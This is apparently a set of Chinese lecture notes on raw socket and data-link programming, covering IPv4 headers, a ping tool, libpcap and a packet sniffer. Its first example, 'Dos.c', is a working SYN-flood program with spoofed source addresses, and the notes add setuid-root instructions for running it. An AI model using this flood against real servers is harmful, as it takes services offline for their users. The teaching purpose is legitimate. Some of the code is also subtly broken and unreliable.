天天看点

原始套接字与数据链路访问编程

原始套接字与数据链路访问编程 IPv4数据报格式

原始套接字与数据链路访问编程

几点说明:首部长度是以32位(即4字节)为单位;16位的标识用于分片和重组;DF位(不分片);MF(还有片段);协议字段表示封装在IP报文中的上层协议,典型的有:ICMP(1)、IGMP(2)、TCP(6)、UDP(17);头部校验和只对IP头部(包括选项)计算,校验算法是标准的因特网校验和算法,即简单的16位反码求和。

IP数据报分片例子

原始套接字与数据链路访问编程

IP数据报是指指I P 层端到端的传输单元(在分片之前和重新组装之后),分组是指在I P 层和链路层之间传送的数据单元。

需要重申的是,任何传输层首部只出现在第1 片数据中。

原始套接字(概述)

原始套接字提供了一些使用tcp和udp协议不能实现的功能,如:

使用原始套接字可以读/写ICMPv4、IGMPv4分组。如Ping程序,mroute程序等;

使用原始套接字可以读/些特殊的IPv4数据包,内核不处理这些数据报的IPv4协议字段。如大多数内核只处理ICMP、IGMP、TCP、UDP的数据报。但协议字段还可以为其他值,如OSPF直接使用IP协议,将IP数据报的协议字段设为89,此时,就必须有专门的程序通过原始套接字来处理它们;

利用原始套接字还可以创建自定义的IP数据报首部,编写基于IP协议的高层网络协议。

原始套接字创建

#include <sys/socket.h>

#include <netinet/in.h>

int  socket(AF_INET, SOCK_RAW, int protocol);

protocol参数一般不能为0,如:IPPROTO_ICMP。另外,只有超级用户才能创建原始套接字。

用户可以通过设置IP_HDRINCL选项来编写自己的IP数据报首部:

const int on = 1;

setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

可以调用bind函数绑定原始套接字的本地IP地址,此时,所有输出的数据报将用到源IP地址(仅当IP_HDRINCL未设置时);如果不调用bind函数,由内核将源IP地址设成外出接口的主IP地址;

可以调用connect函数设置数据报的目的地址(注意并不需要真正的连接)。此后,可直接调用write或send。

注意:bind和connect时,端口已经没有意义了。

通过原始套接字发送数据报

原始套接字的输出遵循以下规则:

如果套接字已经连接,可以调用write、writev、send来发送数据,否则需要调用sendto或sendmsg;

如果IP_HDRINCL选项未设置,则内核写的数据起始地址指IP头部之后的第一个字节。因为这种情况下,内核构造IP头部,并将它安在来自进程的数据之前。内核将IPv4头部的协议字段设置成用户在调用socket函数所给的第三个参数;

如果设置了IP_HDRINCL,则内核写的数据起始地址指IP头部的第一个字节。用户所提供的数据大小值必须包括头部的字节数。此时进程构造除了以下两项外的整个IP头部;(a)IPv4标识字段可以设为0,要求内核设置该值;(b)IPv4头部校验和由内核来计算和存储。IPv4数据报首部各个字段的内容均是网络字节序(对linux而言)

对于超出外出接口的MTU的分组,内核将其分片。

通过原始套接字接收数据报

内核通过原始套接字接收数据报,遵循以下规则:

接收到的tcp和udp分组决不会传递给原始套接字,如果一个进程希望读取包含tcp或udp分组的IP数据报,那么它们必须在数据链路层读入;

当内核处理完ICMP消息后,绝大部分ICMP分组将传递给原始套接字。对源自Berkeley的实现,除了回射请求、时间戳请求和地址掩码请求将完全由内核处理以外,所有收到的ICMP分组将传递给某个原始套接口;

当内核处理完IGMP消息后,所有IGMP分组都将传递给某个原始套接字;

所有带有内核不能识别的协议字段的IP数据报都将传递给某个原始套接字。

如果数据报以分片形式到达,则该分组将在所有片段到达并重组后才传给原始套接字。

通过原始套接字接收数据报(续)

在将一个IP数据报传递给某个套接字之前,内核需要选择匹配的原始套接字:

如果在创建原始套接字时,所指定的protocol参数不为0,则接收到的数据包的协议字段应与该值匹配,否则该数据报将不传递给该套接字;

如果此原始套接字之上绑定了一个本地IP地址,那么接收到的数据报的目的IP地址应与该绑定地址相匹配,否则该数据报将不传递给该套接字;

如果此原始套接字通过调用connect指定了一个对方的IP地址,那么接收到的数据报的源IP地址应与该已连接地址相匹配,否则该数据报将不传递给该套接字。

如果一个原始套接字以protocol参数为0的方式创建,而且未调用bind或connect,那么对于内核传递给原始套接字的每一个原始数据报,该套接字都会收到一份拷贝;

当接收到的数据报传递给IPv4原始套接字时,整个数据报(包括IP头部)都将传递给进程。而对于IPv6,则将去除扩展头部。

例1、DOS攻击(拒绝服务攻击)

拒绝服务攻击原理:画图

源程序Dos.c:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#define DESTPORT 80 /*要攻击的端口(WEB)*/
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
        int sockfd;
        struct sockaddr_in addr;
        int on;
        on=1;
        if(argc!=2){
            fprintf(stderr,"Usage:%sIP\n\a",argv[0]);
            exit(1);
        }

 	bzero(&addr,sizeof(struct sockaddr_in));
        addr.sin_family=AF_INET;
        addr.sin_port=htons(DESTPORT);
        inet_aton(argv[1],&addr.sin_addr);
        /* **** 使用IPPROTO_TCP创建一个TCP的原始套接****/
        sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
        if(sockfd<0){
             perror("socket Error");
             exit(1);
         }
	/*设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写*/ 
	setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
        /****没有办法,只用超级护用户才可以使用原始套接字***/
        setuid(getuid()); 
	send_tcp(sockfd,&addr); /*********发送炸弹了!!!!****/
   }

void send_tcp(int sockfd,struct sockaddr_in *addr)
{
        char buffer[100];/****用来放置我们的数据包****/
        struct ip *ip;
        struct tcphdr *tcp;
        int head_len;
        /*我们的数据包实际上没有任何内容,所以长度就是两个结构的长度*/
        head_len=sizeof(struct ip)+sizeof(struct tcphdr);
        bzero(buffer,100);
        /********填充IP数据包的头部,还记得IP的头格式吗******/
        ip=(struct ip *)buffer;
        ip->ip_v=IPVERSION;/**版本一般的是4**/
        ip->ip_hl=sizeof(struct ip)>>2;/**IP数据包的头部长度**/
        ip->ip_tos=0;/**服务类型**/
        ip->ip_len=htons(head_len);/**IP数据包的长度**/
        ip->ip_id=0;/**让系统去填写吧**/
        ip->ip_off=0;/**和上面一样,省点时间**/
        ip->ip_ttl=MAXTTL; /*最长的时间255*/
        ip->ip_p=IPPROTO_TCP;/**我们要发的是TCP包**/
        ip->ip_sum=0;/**校验和让系统去做**/
        ip->ip_dst=addr->sin_addr;/**我们攻击的对象**/
   	printf("dest address is %s\n",inet_ntoa(addr->sin_addr));

	/*******开始填写TCP数据包*****/
        tcp=(struct tcphdr *)(buffer+sizeof(struct ip));
        tcp->source=htons(LOCALPORT);
       	tcp->dest=addr->sin_port;/**目的端口**/
        tcp->seq=random();
        tcp->ack_seq=0;
        tcp->doff=5;
        tcp->syn=1;/**我要建立连接**/
        tcp->check=0;
	/**好了,一切都准备好了.服务器,你准备好了没有*/
	while(1) {
	/**你不知道我是从那里来的,慢慢的去等吧!**/
        ip->ip_src.s_addr=random();
        printf("addr is%d\n",ip->ip_src.s_addr);
        sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr));
        }
}
           

程序运行权限

通常情况下,有效用户ID等于实际用户ID,有效组ID等于实际组ID;

文件方式字中有一个特殊标志,定义为“当执行此文件时将进程的有效用户ID设置为文件的所有者”,与此类似,组ID也有类似的情况。这两位称为:设置-用户-ID和设置-组-ID。

对于本程序要求:普通用户能执行该程序,但该程序又要求要具有超级用户权限,因此:需要将该可执行程序的所有者设置为超级用户,并设置其“设置-用户-ID”标志,方法是:

[email protected] /root]#chown  root  DOS  

[email protected] /root]#chmod u+s  DOS 

例2:给本机发送一个ICMP报文,然后接收回复。

//ip.h
#ifndef _IP_H
#define _IP_H
#include <stdio.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>

#define PACKET_SIZE 4096
#define MAX_WAIT_TIME 5
#define DEST_ADDR "222.18.113.171"
extern int errno;
char sendpacket[PACKET_SIZE];
char recvpacket[PACKET_SIZE];
int sockfd,datalen=56;
struct sockaddr_in dest_addr;
void send_packet();
void recv_packet();
unsigned short cal_chksum(unsigned short * addr,int len);
void showiphdr(struct ip *ip);
void onTerm();
#endif
           

//Ip.c

#include "ip.h"
int main(int argc,char *argv[])
{
	struct hostent *host;
	struct protoent *protocol;
	unsigned long inaddr=0L;
	if((protocol=getprotobyname("icmp"))==NULL)
	{
 		perror("unknow protocol icmp");
  		exit(1);
	}
	if((sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto))<0){
  		perror("socket error");
  		exit(2);
	}
	bzero(&dest_addr,sizeof(dest_addr));
	dest_addr.sin_family=AF_INET;
	inaddr=inet_addr(DEST_ADDR);
	memcpy((char*)&dest_addr.sin_addr,(char*)&inaddr,sizeof(inaddr));
	send_packet();
	recv_packet();
	return 0;
}

void send_packet()
{
	int i,packetsize;
	struct icmp *icmp;
	icmp=(struct icmp*)sendpacket;
	icmp->icmp_type=ICMP_ECHO;
	icmp->icmp_code=0;
	icmp->icmp_cksum=0;
	icmp->icmp_id=getpid();
	icmp->icmp_seq=1;
	packetsize=8+datalen; //数据包的大小
	icmp->icmp_cksum=cal_chksum((unsigned short*)icmp,packetsize);
	if((sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr)))<0){
  		perror("send ICMP packets error\n");
  		exit(3);
	}
	printf("send ICMP packet to %s\n",inet_ntoa(dest_addr.sin_addr));
}

unsigned short cal_chksum(unsigned short *addr,int len)
{
	int nleft=len;
	int sum=0;
	unsigned short *w=addr;
	unsigned short answer=0;
	while(nleft>1)
	{
   		sum += *w++;
   		nleft -= 2;
	}
	if(nleft==1){
  		*(unsigned char*)(&answer) = *(unsigned char*)w;
  		sum += answer;
	}
	sum = (sum>>16) + (sum&0xffff);
	sum += (sum>>16);
	answer = ~sum;
	return answer;
}

void recv_packet()
{
  	int n,fromlen,packet_no;
  	struct sockaddr_in from;
  	struct ip *ip;
  	struct icmp *icmp;
  	signal(SIGALRM,onTerm);
  	while(1)
  	{
     		fromlen=sizeof(from);
     		alarm(MAX_WAIT_TIME);
     		if((n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr*)&from,&fromlen))<0){
        		perror("Receive packet error");
        		continue;
      		}
     		ip=(struct ip *)recvpacket;
     		showiphdr(ip);
     		printf("len:%d",ip->ip_hl);
		icmp=(struct icmp*)(recvpacket+4*ip->ip_hl);//取ICMP报头
		printf("ICMP TYPE=%d\n",icmp->icmp_type);
 	} 
}

void showiphdr(struct ip *ip)
{
	printf("------IP HEADER------\n");
	printf("version:%d\n",ip->ip_v);
	printf("header length:%d\n",ip->ip_hl);
	printf("type of service:%d\n",ip->ip_tos);
	printf("total length:%d\n",ip->ip_len);
	printf("identification:%d\n",ip->ip_id);
	printf("fragment offset field:%d\n",ip->ip_off);
	printf("time to live:%d\n",ip->ip_ttl);
	printf("protocol:%d\n",ip->ip_p);
	/*printf("checksum:%s\n",ip->ip_sum );*/
	printf("source IP address:%s\n",inet_ntoa(ip->ip_src));
	printf("destination IP address:%s\n",inet_ntoa(ip->ip_dst));
}

void onTerm()
{
	close(sockfd);
	exit(0);
}
           

运行结果

例3:ping程序

#include <stdio.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <setjmp.h>
#include <errno.h>

#define PACKET_SIZE     4096
#define MAX_WAIT_TIME   5
#define MAX_NO_PACKETS  3

char sendpacket[PACKET_SIZE];
char recvpacket[PACKET_SIZE];
int sockfd,datalen=56;
int nsend=0,nreceived=0;
struct sockaddr_in dest_addr;
pid_t pid;
struct sockaddr_in from;
struct timeval tvrecv;

void statistics(int signo);
unsigned short cal_chksum(unsigned short *addr,int len);
int pack(int pack_no);
void send_packet(void);
void recv_packet(void);
int unpack(char *buf,int len);
void tv_sub(struct timeval *out,struct timeval *in);

void statistics(int signo)
{      
       printf("\n--------------------PING statistics-------------------\n");
       printf("%d packets transmitted, %d received , %%%d lost\n",nsend,nreceived,
                       (nsend-nreceived)/nsend*100);
       close(sockfd);
       exit(1);
}
/*校验和算法*/
unsigned short cal_chksum(unsigned short *addr,int len)
{      int nleft=len;
       int sum=0;
       unsigned short *w=addr;
       unsigned short answer=0;

       /*把ICMP报头二进制数据以2字节为单位累加起来*/
       while(nleft>1)
       {       sum+=*w++;
               nleft-=2;
       }
       /*若ICMP报头为奇数个字节,会剩下最后一字节。把最后一个字节视为一个2字节数据的高字节,
	这个2字节数据的低字节为0,继续累加*/
       if( nleft==1)
       {       *(unsigned char *)(&answer)=*(unsigned char *)w;
               sum+=answer;
       }

       sum=(sum>>16)+(sum&0xffff);
       sum+=(sum>>16);
       answer=~sum;
       return answer;
}
/*设置ICMP报头*/
int pack(int pack_no)
{      int i,packsize;
       struct icmp *icmp;
       struct timeval *tval;

       icmp=(struct icmp*)sendpacket;
       icmp->icmp_type=ICMP_ECHO;
       icmp->icmp_code=0;
       icmp->icmp_cksum=0;
       icmp->icmp_seq=pack_no;
       icmp->icmp_id=pid;
       packsize=8+datalen;
       tval= (struct timeval *)icmp->icmp_data;
       gettimeofday(tval,NULL);    /*记录发送时间*/
       icmp->icmp_cksum=cal_chksum( (unsigned short *)icmp,packsize); /*校验算法*/
       return packsize;
}

/*发送三个ICMP报文*/
void send_packet()
{      
       int packetsize;
       while( nsend<MAX_NO_PACKETS)
       {       nsend++;
               packetsize=pack(nsend); /*设置ICMP报头*/
               if( sendto(sockfd,sendpacket,packetsize,0,
                         (struct sockaddr *)&dest_addr,sizeof(dest_addr) )<0  )
               {       
		       perror("sendto error");
                       continue;
               }

        }
        sleep(1); /*每隔一秒发送一个ICMP报文*/
   }
}

/*接收所有ICMP报文*/
void recv_packet()
{      int n,fromlen;
       extern int errno;
       signal(SIGALRM,statistics);
       fromlen=sizeof(from);
       while( nreceived<10)
       {       alarm(MAX_WAIT_TIME);
               if( (n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr *)&from,&fromlen)) <0)
               {       if(errno==EINTR)continue;
                       perror("recvfrom error");
                       continue;
               }
               gettimeofday(&tvrecv,NULL);  /*记录接收时间*/
               if(unpack(recvpacket,n)==-1)continue;
               nreceived++;
       }

}

/*剥去ICMP报头*/
int unpack(char *buf,int len)
{       int i,iphdrlen;
       struct ip *ip;
       struct icmp *icmp;
       struct timeval *tvsend;
       double rtt;
       ip=(struct ip *)buf;
       iphdrlen=(ip->ip_hl)*4;    /*求ip报头长度,即ip报头的长度标志乘4*/
       icmp=(struct icmp *)(buf+iphdrlen);  /*越过ip报头,指向ICMP报头*/
       len-=iphdrlen;            /*ICMP报头及ICMP数据报的总长度*/
       if( len<8)                /*小于ICMP报头长度则不合理*/
       {       printf("ICMP packets\'s length is less than 8\n");
               return -1;
       }
       /*确保所接收的是我所发的的ICMP的回应*/
       if( (icmp->icmp_type==ICMP_ECHOREPLY) && (icmp->icmp_id==pid) )
       {       tvsend=(struct timeval *)icmp->icmp_data;
               tv_sub(&tvrecv,tvsend);  /*接收和发送的时间差*/
               rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000;  /*以毫秒为单位计算rtt*/
               /*显示相关信息*/
               printf("%d byte from %s: icmp_seq=%u ttl=%d rtt=%.3f ms\n",
                       len,
                       inet_ntoa(from.sin_addr),
                       icmp->icmp_seq,
                       ip->ip_ttl,
                       rtt);
       }
       else    return -1;
}

main(int argc,char *argv[])
{      struct hostent *host;
       struct protoent *protocol;
       unsigned long inaddr=0l;

       int waittime=MAX_WAIT_TIME;
       int size=50*1024;

       if(argc<2)
       {       printf("usage:%s hostname/IP address\n",argv[0]);
               exit(1);
       }

       if( (protocol=getprotobyname("icmp") )==NULL)
       {       perror("getprotobyname");
               exit(1);
       }
       /*生成使用ICMP的原始套接字,这种套接字只有root才能生成*/
       if( (sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto) )<0)
       {       perror("socket error");
               exit(1);
       }
       /* 回收root权限,设置当前用户权限*/
       setuid(getuid());
       /*扩大套接字接收缓冲区到50K这样做主要为了减小接收缓冲区溢出的
         的可能性,若无意中ping一个广播地址或多播地址,将会引来大量应答*/
       setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&size,sizeof(size) );
       bzero(&dest_addr,sizeof(dest_addr));
       dest_addr.sin_family=AF_INET;
       if((host=gethostbyname(argv[1]))==NULL)
       {
            perror("gethostbyname error");
            exit(1);
       }
      dest_addr.sin_addr = *((struct in_addr *) host->h_addr);
      pid=getpid();
      printf("PING %s(%s): %d bytes data in ICMP packets.\n",argv[1],
                       inet_ntoa(dest_addr.sin_addr),datalen);
       send_packet();  /*发送所有ICMP报文*/
       recv_packet();  /*接收所有ICMP报文*/
       statistics(SIGALRM); /*进行统计*/
       return 0;
}
/*两个timeval结构相减*/
void tv_sub(struct timeval *out,struct timeval *in)
{       
       if( (out->tv_usec-=in->tv_usec)<0)
       {       --out->tv_sec;
               out->tv_usec+=1000000;
       }
       out->tv_sec-=in->tv_sec;
}
/*------------- The End -----------*/
           

运行结果:

数据链路访问

目前大多数操作系统都为应用程序提供了访问数据链路层的手段,它具有以下功能:

监视数据链路层所收到的分组,这使得我们可以在计算机上通过像tcpdump这样的程序来监视网络,而无需使用特殊的硬件设备。如果结合使用网络接口的混杂模式,甚至可以侦听本地电缆上的所有分组,而不只是以程序运行所在主机为目的的分组。

作为普通应用进程而不是内核的一部分运行某些程序。例如,大多数Unix系统的RARP服务器是普通的应用进程,它们从数据链路读取RARP请求,并把应答写回数据链路。

数据链路层访问方法

BSD系统提供的BPF分组过滤器

SVR4的数据链路提供者接口DLPI

Linux系统的SOCK_PACKET接口

数据报捕获函数库libpcap。

BPF分组过滤器

原始套接字与数据链路访问编程

BPF分组过滤器

因为BPF过滤器需要对每个收到的报文进行过滤,因此性能就至为重要了,BPF采用三种技术减少开销:

BPF的过滤由内核完成,过滤后的分组才拷贝给应用程序。

每个分组只有部分数据由BPF传递给应用程序,因为大多数应用程序只需要监控分组头部。例如tcpdump将捕获分组长度缺省设置为68字节(以太网首部14+IP首部20+TCP首部20+14字节的数据)

BPF缓冲只有在已满或超时发生才拷贝给应用程序。(BPF采用了双缓冲技术)

使用DLPI、pfmod、bufmod捕获分组

原始套接字与数据链路访问编程

Linux:SOCK_PACKET

该方法需要创建SOCK_PACKET类型的套接字,而且调用socket的第三个参数必须是指定以太网帧类型的某个非0值,例如:

fd = socket(AF_INET, SOCKET_PACKET,htons(ETH_P_ALL);

fd = socket(AF_INET, SOCKET_PACKET,htons(ETH_P_IP);

还可以指定为:ETH_P_IPv6、ETH_P_ARP。

该方法不提供基于核心的缓冲和分组过滤机制,因此,效率较低。另外,Linux不提供针对设备的过滤,即不能只接收来自某个指定设备的分组。

libpcap:分组捕获函数库

libpcap是一个与实现无关的访问操作系统所提供的分组捕获机制的分组捕获函数库。目前它只支持分组的读取。

它同时支持Berkeley内核下的BPF、Solaris 2.x下的DLPI、SunOS4.1下的NIT、Linux下的SOCK_PACKET套接字以及其他若干操作系统,具有良好的兼容性。

libpcap库函数(1)

#include <pcap.h>

char *pcap_lookupdev(char *errbuf);

    返回值:成功返回网络设备名指针,出错返回NULL,并在errbuf中存储错误信息。

该函数用于返回可被pcap_open_live()或pcap_lookupnet()函数调用的网络设备名指针。

libpcap库函数(2)

#include <pcap.h>

int pcap_lookupnet(char *device, bpf_u_int *netp, bpf_u_int32 *maskp, char *errbuf);

     返回:出错返回-1,否则0;

该函数获得指定网络设备的网络号和掩码

Device   使用的网络设备名.

Netp    网络设备的网络号(返回值)

Maskp  网络设备的掩码(返回值)

Errbuf  返回的错误文本(返回值)

libpcap库函数(3)

#include <pcap.h>

pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf);

该函数获得用于捕获网络数据包捕获描述符。

函数参数如下:

device:指定打开的网络设备名;

snaplen:定义捕获数据的最大字节数;

promisc:指定是否将网络接口置于混杂模式;

to_ms:指定超时时间(毫秒)

ebuf:当发生错误时,存储错误信息。

libpcap库函数(4)

#include <pcap.h>

int pcap_dispatch(pcap_t *p, int cnt, pcap_handler callback, u_char *user);

      返回值:成功返回读取到的字节数,出错返回-1。

该函数用于捕获并处理数据包。参数意义如下:

p:打开的网络设备描述符;

cnt:指定函数返回前所处理数据包的最大值,cnt = -1表示处理缓冲区中所有的数据报。cnt = 0 表示处理所有数据包,直到下述条件发生:

发生错误

读取到EOF;

超时读取。

callback:指定一个带有三个参数的回调函数。这三个参数分别是一个从pcap_dispatch()函数传递过来的u_char指针,一个是pcap_pkthdr结构的指针,以及一个数据报大小的u_char指针。

user: 传递给回调函数的参数。

libpcap库函数(5)

#include <pcap.h>

int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user);

该函数与pcap_dispatch()函数功能基本相同。不同的是,前者在cnt个数据报被处理或出现错误才返回,但读取超时不会返回。另外,如果cnt=-1 ,pcap_loop函数将始终循环运行,直至出现错误。

libpcap库函数(6)

#include <pcap.h>

int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask);

     返回值:成功为0,出错为-1。

该函数将指定的字符串编译到过滤程序中。函数参数如下:

fp:一个bpf_program结构指针,在函数中被赋值;

str:指定编译到过滤程序中的字符串。

optimize:控制结果代码的优化;

netmask:指定本地网络的网络掩码。

libpcap库函数(7)

#include <pcap.h>

int pcap_setfilter(pcap_t *p, struct  bpf_program *fp);

该函数指定一个过滤程序,参数fp通常在pcap_compile函数中被赋值。

u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h);

    返回值:成功指向下一个数据包的指针。出错时返回NULL。

该函数返回指向下一个数据包的指针。

int pcap_datalink(pcap_t *p);

     返回值:数据链路层类型,如:DLT_EN10MB,或DLT_PPP

该函数返回数据链路层的类型。

libpcap库函数(8)

#include <pcap.h>

void pcap_close(pcap_t *p);

该函数用于关闭打开的网络设别描述符,并释放资源。

char *pcap_geterr(pcap *p);

该函数用于返回最后一个pcap库错误消息。

libpcap数据结构

typedef struct pcap pcap_t;

struct pcap {

    int         fd;

    int        snapshot;

    int        linktype;

    int        tzoff;        

    int        offset;        

    struct pcap_sf        sf;

    struct pcap_md        md;

    int        bufsize;        

    u_char *    buffer;

    u_char *    bp;

    int        cc;

    u_char *    pkt;

    struct bpf_program    fcode;

    char        errbuf[PCAP_ERRBUF_SIZE];

}

libpcap数据结构

struct    pcap_pkthdr {

    struct trmeval    ts;    

    bpf_u_int32    caplen;    

    bpf_u_int32    len;    

}

数据链路访问实例

P259

功能:

打开网络设备。

根据用户从命令行输入的过滤规则产生过滤器。

捕获所需的包并显示。

#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 1000
#define PCAP_ERRBUF_SIZ 200
void display(const u_char * packet,const size_t length);
void my_callback(u_char *none,const struct pcap_pkthdr * pkthdr,const u_char *packet)
{
        display((u_char *) packet,(size_t)(pkthdr->caplen));
	return;
}

int main(int argc,char**argv)
{
	int i;
	char *dev;
	char errbuf[PCAP_ERRBUF_SIZE];
        pcap_t * descr;
        const u_char *packet;
        struct pcap_pkthdr hdr;
        struct ether_header *eptr;
        struct bpf_program fp;
        bpf_u_int32 maskp;
        bpf_u_int32 netp;
        if(argc!=2){
		fprintf(stdout,"usage:%s\"filter program\"\n",argv[0]);
		return 0;
        }
        dev=pcap_lookupdev(errbuf);
        if(dev==NULL){
		fprintf(stderr,"%s\n",errbuf);
		exit(1);
	}
	printf("dev=%s",dev);
	fflush(stdout);
	pcap_lookupnet(dev,&netp,&maskp,errbuf);
	descr=pcap_open_live(dev,BUFSIZ,1,-1,errbuf);
	if(descr==NULL)
	{
		printf("pcap_open_live():%s\n",errbuf);
		exit(1);
	}
	if(pcap_compile(descr,&fp,argv[1],0,netp)==-1)
	{
		fprintf(stderr,"error calling pcap_compile\n");
		exit(1);
	}
	if(pcap_setfilter(descr,&fp)==-1) {
		fprintf(stderr,"error setting filter\n");
		exit(1);
	}
	pcap_loop(descr,-1,my_callback,NULL);
	return 0;
}

void display(const u_char *packet,const size_t length)
{
	u_long offset;
	int i,j,k;
	printf("packet[%lu bytes]:\n",(long unsigned int) length);
	if(length<=0){
		return;
	}
	i=0;
	offset=0;
	for(k=length/16;k>0;k--,offset+=16)
	{
		printf("%08X",(unsigned int)offset);
		for(j=0;j<16;j++,i++){
			if(j==8)
			{
				printf("%-%02X",packet[i]);
			}
				else printf("%02X",packet[i]);
			}
			printf("   ");
			i -= 16;
			for(j=0;j<16;j++,i++){
				if((packet[i]<=' ')&&(packet[i]<=255)){
					printf("%c",packet[i]);
				}
				else printf(".");
			}
			printf("\n");
		}
		k = length-i;
		if(k<=0){
			return;
		}
		printf("%08X",(unsigned int)offset);
		for(j=0;j<k;j++,i++) {
			if(j==8){
				printf("-%02X",packet[i]);
			}
			else
				printf("%02X",packet[i]);
		}
		i-=k;
		for(j=16-k;j>0;j--){
			printf("  ");
		}
		printf("  ");
		for(j=0;j<k;j++,i++){
			if((packet[i]>=' ')&&(packet[i]<=255)){
				printf("%c",packet[i]);
			}
			else{
				printf(".");
		}
	} 
	return;
}
           

程序运行结果:

网络报文捕获程序

要求捕获本地网段接收或发送的报文,并能根据命令行输入的过滤条件过滤捕获的数据。

原始套接字与数据链路访问编程

Pcap.c

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <strings.h>
#include <arpa/inet.h>
#include <pcap.h>
#include <signal.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <error.h>
#include <time.h>
#define snaplen 1000
#define promisc 1
pcap_t  *pcap;
int             datalink;
char            src[20],dst[20];
struct  pcap_pkthdr     hdr;
int             pcap_open(char *);
char            *next_pcap(int *);
void            analysis(char *,int);
void            tcp(char *,int);
void            udp(char *,int);
void            icmp(char *,int);
void            cleanup(int);

int main(int argc, char **argv)
{
    int     len;
    char    *ptr;
    if( argc > 2 ){
        printf("Usage: %s \"filter condition\"",argv[0]);
        exit(1);
    }
    if(pcap_open(argv[1])== -1)    {
        printf("I can not open device.\n");
        exit(0);
    }
    setuid(getuid());
    signal(SIGTERM,cleanup);
    signal(SIGINT,cleanup);
    signal(SIGHUP,cleanup);
    while(1)
    {
        ptr=next_pcap(&len);
        analysis(ptr,len);
    }
    pcap_close(pcap);
}

int pcap_open(char * filter)
{
    char                *dev,*error;
    struct bpf_program fp;
    bpf_u_int32         net,netmask;
    if((dev=pcap_lookupdev(error))==NULL)
        return(-1);
    printf("from network device: %s\n",dev);
    if((pcap=pcap_open_live(dev,1000,promisc,0,error))==NULL)
        return(-1);
    if(filter!=NULL)    {
        if(pcap_lookupnet(dev,&net,&netmask,error) == -1)        {
            pcap_close(pcap);
            return(-1);
        }
        if(pcap_compile(pcap,&fp,filter,0,netmask) == -1)        {
            pcap_close(pcap);
            return(-1);
        }
        if(pcap_setfilter(pcap,&fp) == -1)        {
            pcap_close(pcap);
            return(-1);
        }
    }
    if((datalink=pcap_datalink(pcap))<0)    {
        pcap_close(pcap);
        return(-1);
    }
    return(0);
}

char *next_pcap(int *len)
{
        char *ptr;
        while((ptr=(char *)pcap_next(pcap,&hdr))==NULL);
        *len=hdr.caplen;
        return(ptr);
}
void analysis(char *ptr,int len)
{
    int  hlen;
    struct  ip  *ip;
    struct  ether_header    *eptr;
    struct  tm *time;
    switch(datalink) {
        case DLT_NULL:
            ptr+=4;
            len-=4;
            break;

 case DLT_EN10MB:
            eptr=(struct ether_header *)ptr;
               if(ntohs(eptr->ether_type)!=ETHERTYPE_IP)            {
                printf("Ethernet type %x not IP.\n",ntohs(eptr->ether_type));
                return;
            }
            ptr+=14;
            len-=14;
            break;
        case DLT_SLIP:
        case DLT_PPP:
            ptr+=24;
            len-=24;
            break;
        default:
            return;
    }
    ip=(struct ip *)ptr;
    if(ip->ip_v != IPVERSION)    {
        printf("Error ip version.\n");
        return;
    }

    hlen=ip->ip_hl<<2;
    if(hlen < sizeof(struct ip))    {
        printf("IP len %d is error.\n",ip->ip_hl);
        return;
    }
    inet_ntop(AF_INET,(void *)&ip->ip_src,src,20);
    inet_ntop(AF_INET,(void *)&ip->ip_dst,dst,20);
    time=gmtime((time_t* )&hdr.ts.tv_sec);
    printf("%8.8s:%ld",ctime((time_t *)&hdr.ts.tv_sec)+11,hdr.ts.tv_usec);
    switch(ip->ip_p) {
        case IPPROTO_UDP:
            udp(ptr+hlen,len-hlen);
            break;
        case IPPROTO_TCP:
            tcp(ptr+hlen,len-hlen);
            break;
        case IPPROTO_ICMP:
            icmp(ptr+hlen,len-hlen);
            break;
        default:
            printf("Not recognize packet.\n");
            break;
    }
}

void tcp(char *ptr,int len)
{
    struct tcphdr   *tcph;
    tcph=(struct tcphdr *)ptr;

    printf("%15s:%-4d->%15s:%-4d",src,ntohs(tcph->source),dst,ntohs(tcph->dest));
    printf(" Seq:%ld  ACK:%ld", ntohl(tcph->seq),ntohl(tcph->ack_seq));
    printf(" Win:%-6d\n",ntohs(tcph->window));

}

void udp(char *ptr,int len) {
    struct udphdr   *udph;
    udph=(struct udphdr *)ptr;
    printf("%15s -> %15s\n",src,dst);
}

void icmp(char *ptr,int len) {
    printf("%15s -> %15s\n",src,dst);
}

void cleanup(int signo)
{
    struct pcap_stat    stat;
    fflush(stdout);
    if(pcap_stats(pcap,&stat)<0)
    {
          perror(pcap_geterr(pcap));
          exit(0);
    }
